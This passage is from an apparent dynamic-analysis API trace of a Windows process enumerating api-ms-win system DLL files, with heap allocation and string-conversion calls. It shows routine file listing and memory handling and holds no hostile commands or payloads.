lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.206] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xd5c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.206] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xd5c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.206] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.206] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.206] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd5c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.207] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xd5c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.207] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd5c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.207] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e950 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd5c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0173.207] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.207] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e950) returned 1 [0173.208] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.208] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0173.209] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, 